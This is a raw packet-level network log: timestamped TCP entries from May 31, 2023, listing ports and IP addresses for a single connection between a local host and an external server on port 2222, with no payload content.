May 31, 2023 14:27:17.490216970 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.490837097 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.490988016 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.495333910 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.496026993 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.497437000 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.497616053 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.502027035 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.504076004 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.504623890 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.504818916 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.509114027 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.509268045 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.511248112 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.511351109 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.516366959 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.517554045 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.518397093 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.518587112 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.522924900 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.526195049 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.526511908 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.526679039 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.529793978 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.529951096 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.531954050 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.534611940 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.536676884 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.536825895 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.538681030 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.538794041 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.543687105 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.543853998 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.545792103 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.545972109 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.549773932 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.550146103 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.552442074 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.553296089 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.555134058 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.555258989 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.559632063 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.561820984 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.562017918 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.565995932 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.566210032 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.568907976 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.569226027 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.573334932 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.574654102 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.575261116 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.575421095 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.577476025 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.578672886 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.582484961 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.582839012 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.587188005 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.587310076 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.589257956 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.589917898 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.591253996 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.591387987 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.596386909 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.598040104 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.599015951 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.599140882 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.602471113 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.602571011 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.605113983 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.605308056 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.609683037 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.609812021 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.612027884 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.612128019 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.616458893 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.618783951 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.618948936 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.620095015 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.621608973 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.621721983 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.625998974 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.626362085 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.628109932 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.628225088 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.632550955 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.634413958 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.635401964 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.636852026 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.639143944 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.639380932 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.641812086 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.641895056 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.646713018 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.646800041 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.648693085 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.648762941 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.653390884 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.653472900 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.655605078 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.656390905 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.659888983 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.660176039 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.662507057 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.662659883 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.666542053 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.666970968 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.669492006 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.669755936 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.671633959 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.673907995 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.676352024 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.676481009 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.680808067 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.681329966 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.682986975 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.685692072 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.685884953 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.690211058 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.690324068 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.692418098 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.692544937 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.696559906 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.696736097 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.699187040 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.699291945 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.703891039 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.703989029 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.706101894 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.710283995 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.710289001 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.711371899 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.713000059 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.714796066 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.717417002 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.717533112 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.719913960 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.722244978 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.724606037 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.724927902 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.726742983 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.727427959 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.731276035 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.733025074 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.733427048 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.733536005 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.737970114 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.740350008 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.740586996 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.740772009 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.744580030 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.747149944 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.747368097 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.747483969 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.751514912 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.751707077 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.754410028 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.754524946 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.756639957 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.756755114 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.760879040 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.761225939 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.765331984 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.768011093 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.768018961 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.768151045 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.770441055 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.770565987 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.774733067 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.779045105 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.779217005 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.781774044 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.781976938 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.783704042 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.783787966 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.788408995 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.790066957 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.791078091 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.792241096 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.795430899 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.795521021 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.797585964 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.797770977 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.802506924 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.802709103 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.804910898 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.805073023 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.809042931 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.810040951 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.811295986 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.811430931 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.816307068 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.816420078 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.818516970 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.818661928 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.823009014 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.825181007 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.825187922 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.825292110 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.830524921 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.831983089 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.832364082 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.836436033 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.837737083 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.839016914 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.839204073 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.841696978 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.841813087 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.845943928 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.847037077 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.850277901 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.850367069 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.852541924 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.854202032 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.857383013 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.857527018 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.859651089 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.859771967 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.863976955 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.866204977 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.866409063 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.870486021 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.870615005 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.873476028 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.875163078 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.877357960 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.878000975 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.880565882 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.881450891 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.883764029 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.883946896 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.887862921 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.888504028 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.891127110 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.891228914 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.894087076 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.896282911 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.896482944 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.900777102 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.900922060 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.902951002 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.906452894 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.907869101 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.908293962 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.910115957 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.910204887 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.914572001 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.916755915 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.916963100 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.921389103 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.921508074 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.923906088 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.926099062 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.928339005 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.928448915 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.930291891 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.930425882 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.934796095 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.937479019 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.937664032 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.941452026 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.941566944 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.944094896 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.946831942 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.948606968 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.948739052 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.951245070 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.951473951 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.953473091 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.954015970 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.957938910 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.958231926 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.962392092 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.962518930 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.965050936 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.965225935 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.968763113 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.970386028 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.972033978 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.972301006 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.974471092 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.976675987 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.978666067 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.978902102 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.980813026 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.981004000 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.985770941 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.985994101 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.988010883 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.988239050 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.992527008 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.993509054 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.994642019 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:17.994852066 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:17.999699116 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.001800060 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.002001047 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.005970955 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.006115913 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.008541107 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.008642912 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.013400078 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.014669895 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.015590906 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.015691042 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.019834995 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.019917965 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.021958113 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.022350073 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.027194023 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.027926922 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.029093027 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.029474974 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.031326056 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.032624006 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.035850048 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.038283110 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.040056944 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.041250944 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.042922020 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.043102026 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.047339916 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.049959898 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.050142050 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.053828001 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.054650068 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.056474924 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.056592941 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.060739040 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.060930014 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.063858032 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.064285994 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.067636013 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.070092916 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.070257902 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.070382118 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.072585106 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.072741032 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.077493906 CEST	2222	49738	200.84.200.20	192.168.2.3
May 31, 2023 14:27:18.078777075 CEST	49738	2222	192.168.2.3	200.84.200.20
May 31, 2023 14:27:18.081367970 CEST	2222	49738	200.84.200.20	192.168.2.3
